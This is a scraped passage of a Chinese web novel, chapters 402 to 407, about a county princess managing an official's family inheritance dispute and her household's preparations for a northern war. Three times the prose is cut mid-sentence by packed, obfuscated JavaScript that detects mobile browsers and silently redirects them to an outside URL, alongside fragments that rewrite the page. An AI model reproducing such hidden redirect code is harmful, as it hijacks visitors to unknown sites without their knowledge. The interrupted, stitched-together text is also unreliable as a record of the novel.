35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580008|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 总之,这就是一桩难缠的官司,各说各的理,但谁也拿不出切实的证据来。 但是钱氏族长那里,有当初钱老爷立下的过继文书,仅凭此文书,钱家家产,便可尽归嗣子钱耀祖所有。 “小周氏早在钱老爷病倒之时,便不思照顾,反而是借机大肆变卖钱家产业,此事也是因为被钱老爷知道之后,才会气得突发心疾。李大人,你现在可知,你所犯何错了?” 一番话,明明只是简单地陈述,却被李顺听出了诸多意味。 他果然是想得太肤浅了呀! 早知如此,他该尽早查明这一切,至少不会被姨母蒙蔽。 钱夫人的所做做为,明显已经触及律法,若是钱氏族人追究,那她必然是要被下狱的。 许昭昭现在提醒他的是,小周氏心肠歹毒,心机深沉,但是李顺身为从七品的官员,却是遇事不查,只听一面之词,这显然已有有失公允。 换言之,幸亏李顺不是一地父母官,更未掌刑狱,否则,岂非是**不断? 这一刻,李顺觉得自己好像是溺于水中一般,手脚都不知道应该如何划拉,而自己的口鼻之内,好似也被倒灌入水,一时间竟是呛咳不已。 看到李顺这番狼狈的表现,许昭昭知道,她的目的达成了。 李顺的错,究其根本,并不在于放纵其母亲,而是他的思想太浅,遇事也不会深入思考。 这么大的毛病,得改呀! 若是不改,日后如何提携他? 若是改了,又能改到何等效果,也得许昭昭看了之后再说。 总之,李顺在许昭昭这里的地位,明显是不及郑拓的。 至少郑拓听话呀。 用谢铮的话说,交待给他办的差事,就没出过差错,上官可以放心,自然就会越来越信重他,如此一来,那升职加俸,还会远吗? 所以说,别看郑拓是粗人,读书少,但是各有各的好处呀。 至少目前为止,在许昭昭这里,郑拓明显比李顺更好用。 第402章 我与你母亲商定好了 许昭昭知道李顺都听进去了,便无意再与他多话,开不开窍,就看他自己悟了。 许柱子将人引出锦绣园,并且还小心地避开府内小姐们经常走的一条路,毕竟李顺现在的这个情况,实在是不宜被人撞见。 即将出大门了,李顺这才收拾好心情。 “有劳许管事了,今日之事,是我失职,还请许管事转告县主,此事我定处理妥当,否则,无颜再来给县主请安了。” 许柱子见他明白了主子的用意,这才笑道:“李大人,这话小的一定会带到。您是文官,这国公府也是以武将起家的。不说别人,只说咱们府上的世子爷,如今的中郎将,那也是走的武官的路子。您是文官,我们安信侯府的三公子也是文官。” 李顺明白,他走文官的路子,日后想要升迁,要靠的并不是国公府,而是县主。 “我们县主的舅舅家,也是文官为主。不怕您知道,能入了我们县主的眼,那前程可待啊。您可知蓝田县的前任县令和如今县令分别都是何人?” 李顺瞪大眼睛,求知若渴。 “前头那位,也是因为得了咱们县主的信任,这才升至京城为官。如今的蓝田县令,正是我们侯府的一位表公子的亲戚。有些事,您先去打听打听,然后再仔细琢磨琢磨,总会品出一些不一样来的。” 这就已经是明着提醒了。 李顺连忙道谢,钱家的事,他还得亲自走一趟呢。 钱家就是寻常人家,甚至从地位上而言,还不如寻常人家呢,毕竟钱老爷以前是经商,那是商户。 李顺快马加鞭赶至蓝田县,他到时,钱家人正分成了两派来抗辩。 因为钱耀祖有过继文书,且当初钱老爷过世后,这个钱耀祖也一直都是在跟前守灵,并且下葬时的摔盆打幡也都是他。 在民间,谁来摔盆打幡,谁就是这个家里下一任的继承人。 所以,这等于是告诉所有人,他就是钱老爷的儿子。 如今钱耀祖也发现了小周氏竟然敢私下卖出一些产业,自然是要禀明族里的。 也正是因此,钱氏的族人们才会都凑过来。 李顺是从七品官员,今日出来,也未曾着官袍,但是他一身的气度,自然无人敢小瞧。 有他公平公正地处事,钱氏这边的族老们自然能放心许多,但是小周氏却是不依不饶,甚至还埋怨起这个外甥就是白眼儿狼! 但是这话,她不敢真地高声叫出来,要知道此时她最大的倚仗,就是这个外甥了。 情急之下,小周氏竟是不顾女儿的名声,直接就喊出一嗓子:“大外甥呀!你母亲可是答应了要让你纳盼儿过门的。” 什么? 别说是钱家人了,就连李顺也懵了。 这都是什么跟什么? 钱耀祖有些心慌,钱家再有钱,也不敢与官斗呀。 李顺愣神的功夫,小周氏便以此大声呼救,还口口声声地说是得到了李母的支持,并且二人都定好了细节等等。 这是要将钱盼儿赖到李顺头上去了。 李顺因为着急来,所以只带了一名随从,而且他尚年轻,何曾见过这等架势? 因为懵,反应上自然就慢了一拍。 一直隐在人群中的一位年轻人微微摇头,最后故意退一步,喊了一嗓子。 “胡言乱语!李大人明明与护国公府的七小姐定下婚事,人家正妻都未曾过门,怎么可能会先纳小妾?” 果然,人群中又开始议论起来。 “对呀,李大人是官员,未娶正妻,岂能先纳妾?这不合规矩呀!” “谁知道是不是这个周氏在胡言乱语?” “我看她就是为了昧下那些私产,所以故意赖上李大人。” 底下一乱,李顺这里也总算是能做出反应了。 “姨母慎言!我今年就要成亲,要迎娶的是护国公府七小姐,此事人尽皆知,且我们有媒妁之言,长辈之命,婚事作不得假!再说,姨父亡故,按律,表妹当守孝三年,何故说出这等话来坏她的名声?” 李顺当然也想到了百日热孝成亲的说法。 但是他可不敢认。 若是正妻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587577|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那也还能好说一些。 但他的未婚妻可不是钱盼儿,所以这件事,说什么也不能认下。 至此,他又明白了县主的用意,或者说,是他又想多了一层,钱家母女,并非善类呀。 为了保住私产,竟是连名声都可以利用,关键是还想着利用别人的名声,这就过分了。 李顺可是朝廷命官,若真坏了规矩,那是要被御史**的。 他干脆撇清关系,但是小周氏又岂会如他所愿? “大外甥,此事我与你母亲早已议定,你也不想让你姨父黄泉下都不安宁吧?我们只有这么一个亲生女儿,他就只是想着能让女儿一辈子安稳无忧呀!” 李顺眯眼,此时,他想起了县主对于母亲‘慈悲宽和’的评价。 心软、行事没有规矩! 果然,剑有双刃,人有两面啊。 如今母亲的心软,不就被这位姨母给利用得彻彻底底? “放肆!” 李顺一拍桌子,显然已经动怒。 “钱夫人,我念你与我也算是有些亲缘,这才屡屡避让,不想你竟如此无礼。本官一再言明,早有婚约,岂会做出这等背信弃义之事?你口口声声说与我母亲商议,可为何我母亲从未提及此事?退一步讲,我乃朝廷命官,未曾娶妻,岂能纳妾?你这是想要将本官置于不仁不义之地步吗?” 李顺这一动怒,小周氏终于吓得心慌了。 腿一软,跌坐在地。 她以前也曾利用姐姐来压制这个大外甥的。 从未失过手。 可没想到,这一次,竟是失算了。 不仅没能赖上李顺,反而还有可能会坏了女儿的名声。 钱耀祖也看出来了,人家并没有想要掺和进钱家这家务事的打算。 估计李顺特意走这一遭,也是想要将事情处理妥当,免得她们母女再次赖上李家吧? 钱耀祖收到长辈的暗示,立马上前行礼。 “还请李大人息怒。家母只是因为疼爱妹妹,所以才一时失言,还请李大人宽恕。” 第403章 重礼 李顺在蓝田县的表现,很快就传回到了许昭昭耳中。 她现在对这个李顺,也算是有那么一丝丝的期待,不多,但也够了。 而且据她观察,李顺就算是有她的扶持,也做不了太高的位置。 比起付沛和许君霆来,他差太多了。 算了,看在她是二婶侄子,二嫂堂弟的份儿上,也不能真地对他不管不顾。 先晾晾,过几天再说。 钱家之事处置完了,李顺并未急于返京,而是先去拜会了蓝田县令。 二人皆为官身,而且又都与许昭昭有着绕不开的关系,自然就能坐到一处饮酒了。 李顺这才明白,自己以为的女眷,并非就真的只是困于内宅。 而且像是安乐县主这样的人,哪怕是她从来不上朝,也不会直接插手朝堂之事,但是只要她想,能做的事情就会有很多。 光凭陛下和皇后宠着安乐县主这一点,就足以令人叹服。 关键是人家安乐县主从来没有因为得到了陛下和皇后的宠爱,便骄纵无礼,反而是事事低调,且时常为帝后解忧。 这才是真正的权门贵女呀! 想想自己接触最多的女眷,除了自己母亲,便是这位姨母了。 她们都是那种得知自己亲眷升官或者是得到上官赏识后,恨不能昭告天下的性子。 总以为自己的亲眷就是最好的,把能做官的亲眷当成了自己对外炫耀的资本,却从未想过,对方处于何等境地,需要何人帮助,又要防备何人。 而李顺与蓝田县令方有为越聊越投机,他们都对安乐县主抱有感激之意,同时,也正是因为接触到了一位这样的县主,所以才让他们茅塞顿开。 尤其是方有为,若非是因为县主给了他机会,可能他这一辈子,就只能耽于县丞一职。 他的功名不足以接触到再上层的人,而他族中人脉,也根本做不到。 如今,竟是成为一县之令,只要按照县主的交待好好做事,日后升迁,亦非难事。 所以,于方有为而言,许昭昭就是他的伯乐呀! 以前想都不敢想的事,如今自己却正在做着,男儿有志,该当如此呀! 李顺也终于明白,安乐县主为何愿意提携这位方大人了。 不仅仅只是因为有着一定的亲戚关系,最重要的,这位方大人也是有一定才华,且又愿意听从别人的建议,这才能有望高升呀! 李顺将自己的家事、志向等一一捋顺,回京后,便先入内宅,与母亲好好地谈了谈。 “日后家中事务,都交由管家处理,内宅由您身边的嬷嬷帮着打理便是。至于姨母那里,若是她不惹事,真来了,咱们自然是该当亲戚招待,若是想要借着我的名头在外行恶,那我必然不能允。” 李母也没想到,她一直以为软弱可欺的妹妹,竟然还有这等手段呢。 想到若非是儿子出手快速,妹妹就要毁了儿子和国公府的亲事,她当真是悔得肠子都青了。 “都是母亲的错,是我不敢偏听偏信,你放心,以后的事情我不会再乱插手。待日后新妇进门,这家中一切便都交由你的新妇来打理,我年纪大了,精力不济,又实在是没有什么见识,不给你们添麻烦,就已经是我最大的期盼了。” “母亲也不必如此妄自菲薄,您多年来一直将家里打理得井井有条,估计也是与姨母离得远了,所以才不知姨母竟是蛇蝎心肠。好在此事有我出面,至少不必让她坐牢,但是日后还妄图贪墨钱家家财,那便是不可能了。” 李母点点头,她也看出来了,就现在这样,至少可以让她安度晚年了。 “那你表妹?” “守孝三年之后再说吧。不过,姨母当众说与我有私,这可不成。此事若是不能让护国公府满意,咱们也得跟着倒霉。” 李母这次说话格外坚定:“我儿放心,此事我定会安排妥当。好在盼儿要守孝三年,待三年后,她若是知事懂礼,我便为她安排一门好亲事,也能了了你姨母的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587578|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心愿。” 李顺点头:“如此甚好。” 这件事情,也算是就此落下帷幕。 两日后,李顺再次开始上值当差。 许昭昭暂时没有用他的意思,只是让他先磨砺几年再说吧。 毕竟他还年轻,如今占着一个从七品的职位,已经不错了。 许昭昭因为更看重郑拓,所以干脆便命人将郑拓的姐姐请到府里来说话了。 郑拓的姐姐是顾东阳的二儿媳,谢、顾两家也算是有些交情,所以小辈们来往,实属正常。 只有郑宝儿总觉得自己在高攀县主,而且若非是因为弟弟,她也没有这个资格与县主同坐一处赏景品茶。 “听闻郑姐姐家的孩子都已经会走路了,甚是可爱,下次若是有机会,便带过来一起玩耍。正好我还想着把侄儿也带过来小住几日呢。” “不敢得县主这一句夸,我家那孩子,简直皮得不成样子,我身边的嬷嬷说,就跟郑拓幼时一样一样的,还说什么外甥似舅,长大了指不定也要跟着舞刀弄枪的。” 许昭昭笑得很随和:“舞刀弄枪也没什么不好。男儿嘛,就该志在四方。且我大兴国力泱泱,文臣武将齐心为朝廷效力,才能为陛下解忧。若是学武,日后便为陛下开疆扩土,有何不可?” 郑宝儿听得这一席话,直觉得相当提气。 虽然孩子还小,但是被许昭昭这么一夸,总觉得自己儿子以后能干成一番大事。 “那就谢县主吉言,只盼这孩子日后能好生学习,日后也能为朝廷效力。” 因为提及了郑宝儿的儿子,所以她离开时,许昭昭便命人送上了一套文房四宝,还有一把十分精致的弯弓,上面还镶有宝石,一看便是稚童或者是女眷所用之物。 郑宝儿觉得此礼甚重,不敢收,但是许昭昭下了令,下面的人哪敢再拿回来? 这是大事,郑宝儿不敢隐瞒,先与自己的夫君说过之后,夫妻二人又带着这些重礼去书房向父亲禀告。 第404章 许昭昭也开始偏心了 不是顾二郎和郑宝儿小心,实在是在他们心中,对安乐县主都有一个很清晰的认知。 那就是安乐县主,看似与他们平辈,实际上,人家是能与他们的长辈同桌吃饭说话的地位。 不能单纯地只以为辈份是平的,真就以为自己和人家一样了。 也正是因为他们这种清晰的认知,所以才会让许昭昭对他们更为满意,所以,日后顾二郎的差事,也会顺遂很多。 顾东阳听了他们叙述,再看看送上来的东西,嗬,都是好东西! 光是那方砚台,没有五十贯钱怕是都拿不下来。 “既然是县主赏给孩子的,那就代他收着,也要让孩子知道,这些东西是何人赏的。” “是,父亲。” 郑宝儿退下,顾二郎留在了书房。 顾东阳也算是看出来了,这个二儿子平时不显山不露水的,也的确不是那种爱出风头的性子,可架不住人家有一个好媳妇呀! 自己好几个儿媳呢,结果就只有郑宝儿入了许昭昭的眼,这说明什么? 说明郑拓入了几位大将军的眼,而且郑宝儿这性子又比较温婉,所以才能数次得县主相邀。 “你媳妇不错!你呀,文不成武不就的,但是娶了一个好媳妇呀,以后好好办差,兴许哪一日,就能高升了。” 顾二郎可不敢全信这话,连忙表现得十分惶恐:“是,儿子记下了,一定好好待郑氏。” “嗯,回去吧。既然你媳妇入了县主的眼,日后若是有机会,也可以让她带着孩子去给县主请安。陛下看重县主,日后的赏赐只怕还会更为丰厚。” 顾二郎瞪大眼睛,他听到了什么? 陛下看重县主? 一般而言,父亲都会说陛下看重哪位官员,或者是哪家的小辈,何曾说过,看重一女眷? 顾东阳一看他这样子,就知道自己刚刚的话吓着儿子了。 啧,这副样子,哪里能与安乐县主相比? 若是换了安乐县主,定然是宠辱不惊,哪里会让人看出其情绪? “行了,退下吧。” “是,父亲。” 顾二郎没错过最后父亲眼中的那抹嫌弃,好像是自己这个儿子还没有儿媳妇争气呢。 顾二郎也不恼,媳妇得父亲看重,对他也没坏处,喜滋滋地回去了。 顾东阳在书房里又坐了一会儿,想到先前陛下交待的事,又不得不打起精神来,赶紧干活! 每每这个时候,顾东阳就会羡慕起安信侯来。 瞧瞧人家,一辈子都是闲差。 也不对,除了打仗和练兵的时候,其它时候是想上朝就上朝,想做事就做事,俸禄不少拿,事儿却没干多少。 怎么这个许木头就这么好命呢! 如今几个孩子都长起来了,瞧瞧许家的几个孩子,无论男女,个个都如此优秀。 顾东阳再回头看看自己家的这几个,没一个能站出来和许家的孩子对打的。 气死他了! 不过气归气,该干的活还是要干的。 许家的孩子们再能干,也不姓顾,所以他还是得想法子锻炼一下自己的子孙们,不能真地成纨绔呀。 郑宝儿入了许昭昭的眼,顾家的年轻一辈中不少人都有些眼酸。 但是酸也没办法,毕竟郑宝儿的弟弟要娶谢家七姑娘,人家偶尔拿着这亲事上的事情来商量,她们也插不上嘴呀。 所以,只能是干看着。 郑宝儿因为这个,在府里的地位倒是悄然地升高了。 她自己甚至都没察觉出来,因为这个变化,是慢慢来的。 直到有一日,郑宝儿发现自己竟然已经吃了好几天的燕窝,这才意识到,她在婆母的眼中,应该也是不一样了。 郑拓无父无母,这亲事上,自然就得让郑宝儿多操心。 谢婵这边,嫁妆基本上也都准备得差不多了。 人都是有私心的。 许昭昭自然也有。 她不喜欢小宋氏,连带着对谢娟,也会有那么一丝不喜。 而且几个月的相处下来,谢婵明显更合她的心意,时常过来请安聊天,偶尔再送些她自己做的帕子或者是鞋子过来,这就能看出谢婵是个真地用心的姑娘。 这两个庶出小姐,以前的日子不比府上其它房里的嫡出姑娘宽裕,但若是有心,又怎么会拿不出些东西来? 比如说谢婵,虽然没有珍宝金银,但是愿意花心思花时间做女红送来,这就让人很欣慰。 相比起来,谢娟就差了一些。 反正许昭昭都穿上谢婵给送的鞋子了,也没见着谢娟自定亲后送过来一方帕子。 所以说,这人会偏心,也是有原因的。 不能全都怪偏心的人。 你自己做不出让人偏爱的事来,还能怪谁? 这个道理,也不知道谢娟要何时才能想明白。 许昭昭让芍药私底下多备出来两箱东西,都是给谢婵压箱底的。 这些东西现在不能抬过去,要等到临出嫁时,再说。 许昭昭就是不想让谢娟再出来闹。 既然是压箱底的东西,那必然都是顶好的。 比如说金银、飞钱、宝石、玉佩等等。 许昭昭不是一开始就偏心的。 实在是谢婵太懂事,又太贴心了。 而且,谢婵先有了付出,许昭昭再回以自己的疼爱,这理所当然。 转眼已至八月。 初一早上,所有在家的人都到老夫人这里来请安。 谢啸林在,但是谢铮当值,不在。 话没说几句呢,小林氏便将话题扯到了许昭昭身上。 “三郎媳妇进门也快一年了吧?怎么一直没有好消息传出来?不是我这个做长辈的多事,无论你和三郎是谁的身子不争气,都不可讳疾忌医。” 许昭昭只是淡淡地瞥她一眼,没说话,或者说是不屑于搭理她。 正是因为她这种带有几分轻蔑的态度,瞬间就惹怒了小林氏。 “母亲,您看看她这是什么态度?身为一个小辈,如此不敬长辈,岂非无礼?” 谢啸威直接歪头闭眼,不忍直视的样子,分明就是料定了妻子不会有好果子吃。 果然,老夫人没发话,许昭昭也没道歉,谢啸林开口了。 “弟妹,要说长辈,也得是母亲和我,才是最有资格对三郎媳妇说教的吧?” 第405章 到底怎么回事啊? 谢啸林平时不理会这些家务事,但此时他开口了,小林氏自然不敢顶撞,只得懦懦垂首服软。 而许昭昭则是依旧冷眼旁观,暗道这小林氏一天天就是闲的,若是再敢插手她的事,管她是谁,都得吃些教训才是! 谢啸威也低斥一声:“安安静静吃你的茶不好吗?” 许昭昭的耳朵微动,然后看向门口。 紫苏神情急切:“禀世子夫人,许管事一路跑进国公府,说是有急事要禀,如今就在外面候着。” “可有说是与何相关?” “北边。” 许昭昭的神色瞬间肃穆,起身行礼后快速离开。 小林氏低喃一声:“没规矩!” 旁边的谢啸威瞪她一眼,低斥:“别再添乱了!” 夫妻二人间的声音很小,至少老夫人和二房这边的人都没听到。 谢啸林手中的茶喝了还不曾过半,紫苏便又急匆匆地折返。 “禀国公爷,世子夫人请您即刻去书房议事,同时已经派人去请今日休沐的侯爷和许君锋小将军了。” 谢啸林脸色微变,瞬间意识到出事了。 “母亲,儿子告退。” 屋内几人还没反应过来呢,谢啸林就已经离开了,只余那半盏茶还在冒着热气。 这会儿,小林氏倒是敢大声说话了。 “啧,这都是做什么呀,有什么事情不能直接说,非得弄得像是作贼一样。” 谢啸威忍不了了:“你闭嘴吧!侄媳妇都让人去请侯爷了,必然是出了大事。而且刚刚那丫环有提到北边,莫不是有战事?” 谢啸成也拧起眉头:“这个事情,还真不好说。但是侄媳妇手底下的管事来报的信儿,估计是他们自己在北边儿的商队出什么问题了吧?” 于氏一脸茫然:“昭昭在北边有商队吗?” 谢啸成一愣:“不知道呀!” 老夫人也跟着一脸懵:“没听说过呀,但昭昭的商队不是和乐阳郡主一起往南边儿走吗?没听说北边也有呀。” 小林氏嘴角一撇:“咱们也别在这猜了,直接去问问不成吗?” 谢啸威瞪她:“怎么问?如果是能说的,那侄媳妇又怎么会单独将大哥叫出去?” 于氏点头:“这话有道理。若真是国事,也不是咱们能随意议论的。” 小林氏翻个白眼儿:“怎么可能是国事?就她手底下的那个许管事,是叫许柱子吧?他哪儿来的国事呀!” 这话虽然不好听,但是好像有点道理。 许柱子只是一个负责生意的小管事,怎么可能会有国事禀报? 老夫人想到自己的儿子孙子都是武将,不管真假,总得打听清楚。 “来人,去前面候着,随时注意着外面的动向。” “是,老夫人。” 很快就有小丫环回来报信儿了。 “禀老夫人,就在刚才,国公爷带着那位许管事进宫了,安信侯爷也跟着一起去的,许家的小将军这会儿被请去锦绣园说话了。” 进宫了? 所有人面色俱是一凛,那必然是出大事了呀,不然怎么会进宫? 一个小小的管事,哪里来的资格进宫? “母亲,只怕是事大了,咱们要不要将侄媳妇叫过来问问?” 于氏话音未落,谢啸成就给否了。 “不行!兹事体大,既然侄媳妇刚刚不说,便是有可能消息不确定,现在进宫去,也只是可能要几方消息汇总,然后再得出结论,所以现在侄媳妇不说,这是对的。同样的,咱们也不能问,这是规矩。” 原本还想着去叫人的小林氏一听这话,立马又蔫巴了。 老夫人点点头,到底是见过世面的,知道有些事不是能随便问的。 小丫环又被打发到前院去等消息,但是没敢去打扰锦绣园那边。 约莫有一刻钟之后,小丫环一路小跑着回来了,一进门,还呼哧带喘的,好一会儿说不出话来。 小林氏没好气道:“你说你急什么,现在话都说不出来了。” 谢啸威皱眉:“你少说一句吧。” “老夫人,刚刚侯爷派人回来传消息,让世子夫人和许小将军即刻进宫。奴婢过来的时候,他们二位已经骑马进宫了。” 小林氏瞪眼:“骑马去的?” “是,过来传话的人也是一路狂奔,瞧着就挺急的。” 小林氏原本想说名门贵妇,岂能这般失礼,但是对上老爷的眼神后,话到嘴边又缩回去了。 现在全家人就更坐不住了。 小丫环再回到前院去等消息,这一等,就是大半个时辰过去了。 谢啸成也有些心焦:“这么半天了,怎么还没有消息传回来?难不成真是要打仗了?” 老夫人也一脸担忧,但还是缓声道:“沉住气,别急。无论是不是要打仗,咱们都得做好准备。咱们谢家受先帝和陛下的恩泽,若是朝廷有需要,我们谢家儿郎,自然是责无旁贷!” “母亲说的是。” 又过了一会儿,茶都换了三盏,小丫环终于又跑回来了。 “禀老夫人,世子夫人派紫苏姑娘回来传话了。” 小丫环一路跑回来的,她话刚说完,紫苏就进来了,她刚要行礼,就被老夫人给拦住:“赶紧说。” 紫苏也不磨叽:“禀老夫人,世子夫人命奴婢回来传话,说是我大兴北部出现一些不确定的人马,国公爷和世子爷应该要被留在宫中议事,另外,世子夫人说请大公子二公子也都做好准备,后勤补给的差事,这一次应该不会再给崔家了。” 最后一句,紫苏说的声音很低,而且屋内原本就没有什么伺候的下人了,所以大家自然也就心知肚明。 于氏甚至是紧张地都站起来了。 谢啸成也明白侄媳妇的用意,连忙表态:“好好好!你还要进宫吗?” “奴婢奉命在宫门口候着。” “好,若是见到你家少夫人,定要回她一句,就说我们都知道了,也会按她的意思安排。” “是,二爷,那奴婢告退。” 这下子,事情也就明朗起来了。 紫苏退下之前,抬手扶了一下激动的于氏,提醒道:“二夫人莫要太激动了,老夫人这里还得靠您照顾呢。” 没人看到一张小纸条进了于氏的手心。 第406章 准备出征 待所有人都退下,于氏才将手里的纸条打开,看到两个字后,便递到了谢啸成跟前。 谢啸成看到上面写着:室韦二字,大概就知道会是什么规模的仗了。 “原来如此,难怪侄媳妇会让大郎和二郎做准备,室韦如今还不成气候,此时狙击,定然较为容易。” 多年来,国公府的荣耀一直都是由长房父子来维持,二爷和四爷虽然不说什么,但心里头是有愧疚感的。 他们享受了护国公府的荣华富贵,但是流血冒险的事情,都让长房去做,他们在府里又如何能安心? 眼下,总算是有机会了。 谢啸威也紧跟着站起来:“二哥,要不也给我安排份差事吧!” “此事咱们可做不得主。况且你一文官,瞎跟着掺和什么。” 谢啸威不说话了,一旁的小林氏似乎也看出来应该是有出头的机会,眼珠子一转:“怎么只提到了大郎二郎,可有四郎能办的差事?” 谢啸成一眼看过去:“歇歇你的小心思!四郎年纪还小,又不曾入过军营,真要是将他派出去,有你哭的时候。” 小林氏立马闭嘴了。 也对,要上战场的,万一出事了怎么办? 所以,还是消停一些吧。 小林氏思来想去还是觉得不保险,算了,不去最好。 一直等到用过午膳了,前面仍然没有消息,但是谢啸成命人打听到,朝中诸多武将都被宣入宫中了,这其中,也有陆晋这位兵部尚书,上次的北征行军大总管。 看来,打仗是一定的了。 老夫人年纪大了,熬不住,所以早早地就进去休息了。 其它人则是都在前院的前厅里等着,谢嵘和谢琅二人也都准备好,各自的媳妇则是略带几分担忧地坐着,时不时地拧着手中的帕子,显然不安。 很快,门口的小厮往回跑。 “禀二爷、四爷,世子夫人回来了。” “骑马回来的?” “正是,不过后面还跟着一辆马车,好像是宫中出来的。” 还有马车? 所有人都站起来,齐齐往外走。 许昭昭这厢刚下马入内,便看到大家伙了。 “先别急,进屋说话。” 谢啸成这才意识到,自己这个做二叔的,竟然也急切起来了,有失身份。 “如今事情基本已经确定,室韦与靺鞨在暗中来往,意图对我大兴的东北部不利。不过眼下只能确定室韦的兵力,对于靺鞨还不清楚。所以陛下正在急召诸位将军商议。” 所有人知道了准确消息后,暂且都松一口气。 东北部,还好一些,比上次北征时应该要容易一些。 “目前已经确定下来的,是陛下命我父亲为行军大总管,谢铮和方将军为左右前锋,我二哥以及崔述、方亮、郑拓、定南侯世子齐云泽都会随军开拔,具体职位未定。” 谢啸成点头,定了行军大总管,那么这场仗打的大概性质和结果,基本就定下来了。 就许翰那人在战场上的脾气,不把对方打废了那是绝对不会搬兵回朝的。 而室韦和靺鞨如今都只是边塞小国,不成气候,还敢搅到一处,等着被打的哭爹喊娘吧。 许昭昭喝两口茶,暂且缓一缓:“大哥二哥应该是要负责押运粮草,此事我父亲已经向陛下举荐,而且三郎也附议,当时的陆尚书也点头表示可行。所以,此事大概率是要定下来的。不过我离宫前,未有正式旨意出来。” 谢啸成点头:“好好好!无论成不成,此事都该二叔谢谢你,也谢谢侯爷才是。” 谢嵘和谢琅二人干脆起身,对着许昭昭一揖。 许昭昭微微侧身,不敢全受了这一礼,毕竟自己是弟妹。 “对了,因为此事是我手下的管事送来的消息,同时又有兵部和边境送来的一些消息汇总之后,这才得出准确结论。如今陛下已经命人火速前往东北部,以确定消息是否有误。最多五天,大军开拔。” 许昭昭其实也是有些不舍的。 自打她成婚后,还不曾与谢铮分开过。 原本也不觉得有什么,但是现在一想到可能会分开几个月,甚至有可能是一年之久,许昭昭这心里便不舒服。 一直到晚膳时,谢啸林和谢铮二人才回来,事情已经有了定论,谢铮这几日不用当值,在家团聚几日后便随大军开拔。 谢啸林不用出征,但是也不能大意,因为一下子要派出去十余位将领,所以谢啸林领了一个看守宫门的差事。 别以为就是看大门儿的。 这是担心边境有乱的消息传回来后,再有城内的一些杂碎作乱。 关键时刻,陛下信重谁,这不就显出来了嘛! 平时谢啸林啥也不干,真有了正事儿,还得第一个上。 除此之外,谢君安也领了差事,负责城内巡逻,他和驸马崔冲、齐王世子李宪、李章平将军四人轮流带兵在全京城巡逻,一天十二个时辰不间断。 这下子,可有得忙了。 虽然是带兵巡逻,但并非是数百、数千大军这样巡逻,而是分成了由什长带头,一小队一小队地这样巡逻,不然京城这么多坊,那什么时候是个头呀。 除此之外,赵长清和两位京县县令,也都将自己手底下的衙役、不良人等做了统一调配,主要就是配合这四位巡逻,负责京城治安。 一切都在紧张又有序地进行。 许昭昭再舍不得谢铮,也不可能阻拦他上战场。 不说谢铮是不是需要用战功换来属于谢家的荣耀,也不说谢铮是否真地就愿意杀敌报国。 只说是生为大兴人,享受了诸多的好处而到临危之际却不愿意为之效力,那就是孬种。 没有人会看得起一个孬种的! 许昭昭也不例外。 因为许昭昭知道消息早,而且又一直在准备着各种药物的搜集,以前还有经验在,所以这一次准备得是相当充分。 毕竟,行军大总管可是她爹! 说什么也不能让他们出事。 各种保命药准备了一大堆,除此之外,又命人去药商手中采购止血、消炎药,然后准备着往战场送。 户部的顾东阳也忙活起来,且时不时地派人来与许昭昭对一对,这是两人要打配合了。 第407章 第一份捷报 顾东阳的确是在和许昭昭二人打配合。 打仗打的就是钱粮。 大军开拔,一个月下来,这消耗的就是一个天文数字。 一旦正式开战之后,还有伤亡、药材、兵器等种种损耗,那开支就更大了。 兵器这方面,顾东阳自然是要和陆晋那里互相摸底,而粮食这方面,顾东阳也不担心,唯有药材,这可是救命的东西。 因为消息来得急,所以打仗就准备得更仓促。 顾东阳和许昭昭、乐阳郡主这边通消息之后,就只是命人将京城这边能搜集到的药材暂且装车往边境送,余下的,他这里没有,或者是量少的单子,直接给了这二位,由这二位帮忙筹措。 许昭昭和乐阳郡主都是女子,非朝臣,所以她们愿意帮忙,顾东阳自然是乐意之至。 因为他自己忙得一天只能睡两个时辰了,实在是忙不过来。 许昭昭和乐阳郡主也不可能直接往外贴银子,再说国库里也有钱,顾东阳能请得动这二位帮忙就不错了,哪里还好意思让人家白贴钱? 但许昭昭和乐阳郡主也不贪钱,所以多少银钱收回来的药材,就多少银钱给顾东阳。 而对于许昭昭弄出来的一些成药,则是分文不取,全都让许翰和谢铮等人带走了。 当然,许昭昭在和顾东阳提及此事时,还特意提到这里面有一些药材是乐阳郡主给的。 顾东阳闻弦而知雅意,所以这件事情上报的时候,自然而然地便为这二位邀功了。 陛下又岂能不知道这两个孩子的心意? “唉,你瞧瞧。都说朕偏心,自己的女儿不疼,去疼侄女。现在竟然还偏疼一个外姓孩子!这能怪朕偏心吗?知道朕为国事操劳,这两个孩子哪回不是又贴钱又贴物地往里搭。要说是个男孩子,别人还能说一句有所图,可是两个丫头,你说她们图什么?” 顾东阳明白,陛下这是心中有火。 